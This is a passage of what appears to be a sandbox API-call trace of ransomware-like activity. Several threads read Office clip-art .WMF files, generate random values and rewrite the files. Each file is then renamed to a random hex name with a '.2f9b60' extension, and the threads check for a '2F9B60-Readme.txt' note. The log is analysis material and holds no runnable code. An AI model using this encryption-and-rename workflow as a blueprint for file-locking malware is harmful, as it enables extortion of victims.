[0106.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0106.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.368] WriteFile (in: hFile=0x1554, lpBuffer=0x41f4c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cb1f680, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesWritten=0x2cb1f680*=0x3c00, lpOverlapped=0x0) returned 1 [0106.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0106.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e978d0) returned 1 [0106.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced85e0 [0106.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7980 [0106.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0106.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0106.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167700 [0106.389] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.389] WriteFile (in: hFile=0x1554, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2cb1f730, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2cb1f730*=0x10a, lpOverlapped=0x0) returned 1 [0106.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0106.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0106.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.407] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="df") returned 2 [0106.407] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="2e") returned 2 [0106.407] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="81") returned 2 [0106.407] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="99") returned 2 [0106.409] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="51") returned 2 [0106.409] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="a7") returned 2 [0106.409] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="b3") returned 2 [0106.409] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="c1") returned 2 [0106.409] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="ec") returned 2 [0106.409] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="e0") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="91") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="13") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="09") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="c2") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="10") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="8d") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="76") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="c6") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="91") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="4a") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="c5") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="01") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="bc") returned 2 [0106.410] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="b7") returned 2 [0106.410] RtlInitAnsiString (in: DestinationString=0x2cb1f7a8, SourceString="df2e819951a7b3c1ece0911309c2108d76c6914ac501bcb7" | out: DestinationString="df2e819951a7b3c1ece0911309c2108d76c6914ac501bcb7") [0106.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cb1f778, SourceString="df2e819951a7b3c1ece0911309c2108d76c6914ac501bcb7", AllocateDestinationString=1 | out: DestinationString="df2e819951a7b3c1ece0911309c2108d76c6914ac501bcb7") returned 0x0 [0106.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced57f0 [0106.411] RtlFreeAnsiString (AnsiString="d") [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167700) returned 1 [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85e0) returned 1 [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8430) returned 1 [0106.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85b0) returned 1 [0106.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7adac0 [0106.412] wcscat (in: _Dest=0x1b7adac0, _Source="df2e819951a7" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7" [0106.412] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60" [0106.412] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60", NtPathName=0x2cb1f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\df2e819951a7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107f00 [0106.412] NtSetInformationFile (FileHandle=0x1554, IoStatusBlock=0x2cb1f7f0, FileInformation=0x107f00, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107f00) returned 1 [0109.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0109.657] NtQueryInformationFile (in: FileHandle=0x1554, IoStatusBlock=0x2cb1f7b8, FileInformation=0x2cb1f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cb1f7b8, FileInformation=0x2cb1f7c8) returned 0x0 [0109.657] NtSetInformationFile (FileHandle=0x1554, IoStatusBlock=0x2cb1f7b8, FileInformation=0x2cb1f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0109.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced57f0) returned 1 [0109.672] FlushFileBuffers (hFile=0x1554) returned 1 [0109.689] CloseHandle (hObject=0x1554) returned 1 [0109.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adac0 [0109.692] wcscpy (in: _Dest=0x1b7adac0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.692] wcscat (in: _Dest=0x1b7adac0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0109.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c4f0) returned 1 Thread: id = 714 os_tid = 0x120c [0096.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0107.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF", dwFileAttributes=0x20) returned 1 [0107.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1600 [0107.081] GetFileSizeEx (in: hFile=0x1600, lpFileSize=0x2cbcfdc0 | out: lpFileSize=0x2cbcfdc0*=11636) returned 1 [0107.081] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x2d70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.081] ReadFile (in: hFile=0x1600, lpBuffer=0x2cbcfd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cbcfd88, lpOverlapped=0x0 | out: lpBuffer=0x2cbcfd40*, lpNumberOfBytesRead=0x2cbcfd88*=0x4, lpOverlapped=0x0) returned 1 [0107.172] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b60 [0107.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7400 [0107.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7340 [0107.172] NtQuerySystemTime (in: CurrentTime=0x2cbcfc80 | out: CurrentTime=0x2cbcfc80*=132462177126706000) returned 0x0 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x2aae142e [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x2b301d33 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x77415f64 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x24d89ade [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x8817c86 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x638a46c1 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x77e0f5cc [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0xa295e58 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x4832174e [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0xc636137 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x19118e93 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x2619725a [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x37617401 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x49296dcf [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x2784b8f0 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x424314ef [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x73a6d4a9 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x444b1a0f [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x1e068a47 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x1b25d7aa [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x5884b449 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x3f65e041 [0107.173] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0xeccd49d [0107.174] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x44ea677d [0107.174] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x470624 [0107.174] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x3938c441 [0107.174] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x1756d5cc [0107.174] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x22c0d29a [0107.174] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x38aafede [0107.174] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x867b7b7 [0107.174] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x113b85e [0107.174] RtlRandomEx (in: Seed=0x2cbcfc70 | out: Seed=0x2cbcfc70) returned 0x2418315c [0107.185] ReadFile (in: hFile=0x1600, lpBuffer=0x41f4c1b0, nNumberOfBytesToRead=0x2d74, lpNumberOfBytesRead=0x2cbcfc70, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesRead=0x2cbcfc70*=0x2d74, lpOverlapped=0x0) returned 1 [0107.223] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.224] WriteFile (in: hFile=0x1600, lpBuffer=0x41f178d0*, nNumberOfBytesToWrite=0x2d74, lpNumberOfBytesWritten=0x2cbcfc74, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesWritten=0x2cbcfc74*=0x2d74, lpOverlapped=0x0) returned 1 [0107.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0107.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0107.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0107.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0107.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0107.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0107.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0107.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7260 [0107.283] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.283] WriteFile (in: hFile=0x1600, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2cbcfd90, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x2cbcfd90*=0x10a, lpOverlapped=0x0) returned 1 [0107.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0107.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8675c0 [0107.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64a0 [0107.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64a0) returned 1 [0107.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64a0 [0107.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63e0 [0107.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63e0) returned 1 [0107.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8675c0) returned 1 [0107.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.293] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="c9") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="59") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="b7") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="74") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="a2") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="bc") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="f5") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="e8") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="67") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="f7") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="9c") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="b0") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="62") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="d6") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="18") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="b7") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="f0") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="6f") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="47") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="a9") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="9a") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="b4") returned 2 [0107.293] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="58") returned 2 [0107.294] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="8c") returned 2 [0107.294] RtlInitAnsiString (in: DestinationString=0x2cbcfe08, SourceString="c959b774a2bcf5e867f79cb062d618b7f06f47a99ab4588c" | out: DestinationString="c959b774a2bcf5e867f79cb062d618b7f06f47a99ab4588c") [0107.294] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cbcfdd8, SourceString="c959b774a2bcf5e867f79cb062d618b7f06f47a99ab4588c", AllocateDestinationString=1 | out: DestinationString="c959b774a2bcf5e867f79cb062d618b7f06f47a99ab4588c") returned 0x0 [0107.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced60b0 [0107.294] wcscat (in: _Dest=0x4205cf10, _Source="c959b774a2bc" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc" [0107.294] wcscat (in: _Dest=0x4205cf10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60" [0107.294] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60", NtPathName=0x2cbcfdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107180 [0107.294] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x2cbcfe50, FileInformation=0x107180, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107180) returned 1 [0109.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d230) returned 1 [0109.770] NtQueryInformationFile (in: FileHandle=0x1600, IoStatusBlock=0x2cbcfe18, FileInformation=0x2cbcfe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cbcfe18, FileInformation=0x2cbcfe28) returned 0x0 [0109.770] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x2cbcfe18, FileInformation=0x2cbcfe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cf10) returned 1 [0109.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced60b0) returned 1 [0109.800] FlushFileBuffers (hFile=0x1600) returned 1 [0109.803] CloseHandle (hObject=0x1600) returned 1 [0109.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d9b0 [0109.804] wcscpy (in: _Dest=0x4205d9b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.804] wcscat (in: _Dest=0x4205d9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d9b0) returned 1 [0109.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c600) returned 1 Thread: id = 715 os_tid = 0x1210 [0096.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0107.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", dwFileAttributes=0x20) returned 1 [0107.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1684 [0107.047] GetFileSizeEx (in: hFile=0x1684, lpFileSize=0x2ccbfbe0 | out: lpFileSize=0x2ccbfbe0*=22516) returned 1 [0107.047] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x57f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.047] ReadFile (in: hFile=0x1684, lpBuffer=0x2ccbfb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ccbfba8, lpOverlapped=0x0 | out: lpBuffer=0x2ccbfb60*, lpNumberOfBytesRead=0x2ccbfba8*=0x4, lpOverlapped=0x0) returned 1 [0107.065] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0107.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0107.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0107.065] NtQuerySystemTime (in: 